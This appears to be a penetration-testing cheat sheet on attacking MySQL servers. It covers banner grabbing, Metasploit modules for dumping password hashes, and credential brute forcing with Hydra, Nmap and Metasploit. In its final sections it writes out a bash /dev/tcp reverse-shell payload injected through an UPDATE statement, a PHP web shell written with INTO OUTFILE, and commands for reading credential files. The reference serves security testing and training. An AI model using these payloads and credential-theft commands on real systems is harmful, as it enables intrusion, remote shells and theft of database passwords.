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Default Port: 3306

MySQL is an open source relational database management system (RDBMS) widely used worldwide. Databases are used to store and manage interrelated data. MySQL is a preferred solution in many areas such as web-based applications, data storage, e-commerce, and log records. SQL (Structured Query Language) is the language MySQL uses to communicate with the database.


Connecting to MySQL involves different methods whether accessing locally or remotely


mysql -u <username>
#specified username
#no password

mysql -u <username> -p
#with password

mysql -u <username> -p <database_name>
#specified database


mysql -u <username> -h <hostname> -P <port> -p
#specified hostname
#specified port

mysql -u <username> -h <hostname> -P <port> -p -D <database_name>
#specified database (-D)


The MySQL connection URL is a line containing all the information necessary for an application to connect to a MySQL database. A typical format is as follows:



Identifying an MySQL Server

You can use Nmap to check if there's an MySQL server on a target host like this:

nmap -p 3306 X.X.X.X

Assessment with Metasploit

Metasploit's MySQL modules offer a range of tools for security assessments, including version identification, vulnerability exploitation for hash dumping, schema enumeration, and even executing commands on compromised systems, thereby providing a comprehensive toolkit for penetrating and analyzing MySQL databases.

msf> use auxiliary/scanner/mysql/mysql_version #version detection
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump #auth bypass dump
msf> use auxiliary/scanner/mysql/mysql_hashdump #password hashes
msf> use auxiliary/admin/mysql/mysql_enum #user enumeration
msf> use auxiliary/scanner/mysql/mysql_schemadump #schema dumping
msf> use exploit/windows/mysql/mysql_start_up #command execution

You can use Netcat to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -nv X.X.X.X 3306

Attack Vectors

Default Credentials

MySQL databases may come with default or well-known accounts that lack strong passwords. Identifying and testing these accounts can provide an initial foothold without resorting to aggressive hacking techniques.

To test a default account, you might execute:

mysql -u root -p

#enter default or guessable password

Common Credentials

If anonymous login is disabled on the MySQL server, trying common usernames and passwords like admin, administrator , root , user, or test can be a good initial step. This approach is less aggressive than attempting to guess passwords through brute force and is recommended to try first when accessing a server.

mysql -u <username> -p

#provide a common username
#provide a common password

Bruteforcing Credentials

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like MySQL, HTTP, SMB, etc. For MySQL, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Bruteforcing with Hydra

To use Hydra for brute-forcing MySQL login credentials, you would use a command structured for this purpose:

hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] mysql://X.X.X.X

Bruteforcing with Nmap

It is also possible to perform brute force on MySQL with Nmap scripts:

nmap -p 3306 --script mysql-brute X.X.X.X

Bruteforcing with Metasploit

It is also possible to apply brute force with Metasploit modules on MySQL:

use auxiliary/scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > set rhosts X.X.X.X
msf auxiliary(scanner/mysql/mysql_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/mysql/mysql_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/mysql/mysql_login) > set stop_on_success true
msf auxiliary(scanner/mysql/mysql_login) > exploit


Common MySQL Commands

This table provides a clear overview of each command's function within MySQL and how they are used, covering a broad spectrum of database management tasks.

SHOW DATABASES;Lists all databases on the MySQL server.SHOW DATABASES;
USESwitches to a specific database.USE database_name;
SHOW TABLES;Displays all tables in the current database.SHOW TABLES;
SHOW COLUMNS FROMLists all columns in a specific table.SHOW COLUMNS FROM table_name;
SELECTRetrieves data from a table.SELECT * FROM table_name;
INSERT INTOInserts a new record into a table.INSERT INTO table_name (column1, column2) VALUES (value1, value2);
UPDATEUpdates records in a table that meet the condition.UPDATE table_name SET column1 = value1 WHERE condition;
DELETE FROMDeletes records from a table that meet the condition.DELETE FROM table_name WHERE condition;
CREATE DATABASECreates a new database.CREATE DATABASE database_name;
DROP DATABASEDeletes a database.DROP DATABASE database_name;
CREATE TABLECreates a new table.CREATE TABLE table_name (column1 datatype, column2 datatype);
DROP TABLEDeletes a table.DROP TABLE table_name;
ALTER TABLE ADDAdds a new column to a table.ALTER TABLE table_name ADD column_name datatype;
ALTER TABLE DROP COLUMNDeletes a column from a table.ALTER TABLE table_name DROP COLUMN column_name;
GRANTGrants privileges to a user on a database.GRANT ALL PRIVILEGES ON database_name.* TO 'user'@'localhost' IDENTIFIED BY 'password';
REVOKERevokes privileges from a user on a database.REVOKE ALL PRIVILEGES ON database_name.* FROM 'user'@'localhost';
SHOW GRANTS FORDisplays all privileges for a user.SHOW GRANTS FOR 'user'@'localhost';
FLUSH PRIVILEGES;Reloads the grant tables in the database, making privilege changes effective immediately.FLUSH PRIVILEGES;

Executing a Reverse Shell Through SQL Command Injection

This example demonstrates updating a user's email in a database to execute a reverse shell, highlighting the potential for command injection vulnerabilities in SQL operations.

mysql> UPDATE hackviserdb.users SET email='hackviser@shell|| bash -c "bash -i >& /dev/tcp/<ip_address>/<port> 0>&1" &' WHERE name LIKE 'user%';

Executing Commands via SQL Read & Write Operations

SQL provides capabilities for both reading from and writing to files, which can be exploited for command execution:

  • Reading Files: The load_file function allows reading the contents of a file from the server's filesystem. For example, to read a key file:

    SELECT load_file('/var/lib/mysql-files/key.txt');

    This command reads the content of key.txt located in the MySQL server's file directory.

  • Writing Files: SQL also enables writing data to files using the INTO OUTFILE clause. This can be leveraged to write malicious scripts to the server. For instance, to create a PHP file that executes commands passed via URL:

    SELECT 1,2,"<?php echo shell_exec($_GET['command']);?>",4,5 INTO OUTFILE '/var/www/html/shell.php'

    This creates a shell.php file in the web server's root, which when accessed, can execute commands specified in the command query parameter.

Accessing MySQL Credentials from System Files

MySQL credentials can be uncovered in plaintext or as hashes from specific system files, providing alternative access methods to the database:

  • Debian System Maintenance User: The /etc/mysql/debian.cnf file contains the plaintext password for the debian-sys-maint user, allowing for authorized database access.

    cat /etc/mysql/debian.cnf
  • MySQL User Hashes: User password hashes are stored in /var/lib/mysql/mysql/user.MYD. These hashes represent the encrypted passwords of MySQL users and can be extracted for potential cracking.

    grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"